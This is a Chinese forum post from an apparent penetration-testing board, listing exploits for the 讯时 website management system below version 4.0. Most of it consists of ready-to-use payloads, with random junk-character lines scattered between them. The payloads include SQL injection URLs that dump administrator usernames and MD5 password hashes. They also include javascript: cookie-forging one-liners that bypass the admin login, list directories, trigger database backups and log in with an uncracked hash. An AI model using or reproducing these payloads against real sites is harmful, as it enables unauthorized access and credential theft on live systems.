中国网络渗透测试联盟
标题:
讯时网站管理系统4.0以下漏洞
[打印本页]
作者:
admin
时间:
2016-5-11 14:55
标题:
讯时网站管理系统4.0以下漏洞
一、注入
/ a6 l# O) B' S
1、news_more.asp?lm=2 %41nd 1=2 union %53elect 1,2,3,0x3b%26user,0x3b%26pass,6,7,8 %46rom %41dmin union %53elect * %46rom lm where 1=2
" U( F3 i# y1 ], B9 b; v
; Z) f& U' h+ i
2、第一步：javascript:alert(document.cookie="adminuser=admin");alert(document.cookie="admindj=1");location.href="admin_chk.asp"
8 @- ~: s& o# b7 s. K4 t5 R
第二步：请求:admin_lm_edit.asp?id=1 %41nd 1=2 union %53elect 1,2,3,4,id%260x3b%26user%260x3b%26pass,6,7,8%20%46rom%20%41dmin
1 x( U& ^: x U2 U# a0 B% |
可得到用户名和MD5加密码的密码。
; A& P( T# o4 c/ g0 Y8 Z# r
* i3 Q1 U8 N- W. ~
二、cookies欺骗
& s0 O) ?) s- v1 b% ]8 s
. m- t3 C2 F: \/ M, w d
1、直接进后台，适用于较低版本，一般login.asp和admin_index.asp在同一目录下的版本有此漏洞.
, s0 t1 [& H& t6 A z
javascript:alert(document.cookie="adminuser="+escape("'or'='or'"));alert(document.cookie="adminpass="+escape("'or'='or'"));alert(document.cookie="admindj="+escape("1"));location.href="admin_index.asp"
) `( r0 G$ O* Z0 h! Y' \* J, K& j
8 s4 A+ u' X8 F& e! {6 p
2、列目录.
4 H4 R: q8 \: b7 j6 C9 \
javascript:alert(document.cookie="admindj="+escape("1"));location.href="edit/admin_uploadfile.asp?dir=.."
) J p/ D- _6 q# |6 {3 y& B2 l g
+ k& J4 T/ X; U) i3 K3 c
3、数据库备份(适用性好像比较低.)
* X- q3 i0 @. {( Z
javascript:alert(document.cookie="admindj="+escape("1"));location.href="admin_db_backup.asp?action=backupdata"
' k2 @$ t0 t J5 z
n, f6 j* H! u" } ~
4、得到MD5密码解不了密进后台方法
5 z" }" m2 N; w3 |) \2 O
javascript:alert(document.cookie="adminuser="+escape("用户名")); alert(document.cookie="adminpass="+escape("md5密码")); alert(document.cookie="admindj="+escape("1"));location.href="admin_index.asp"
( L' a0 X6 Z8 r
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2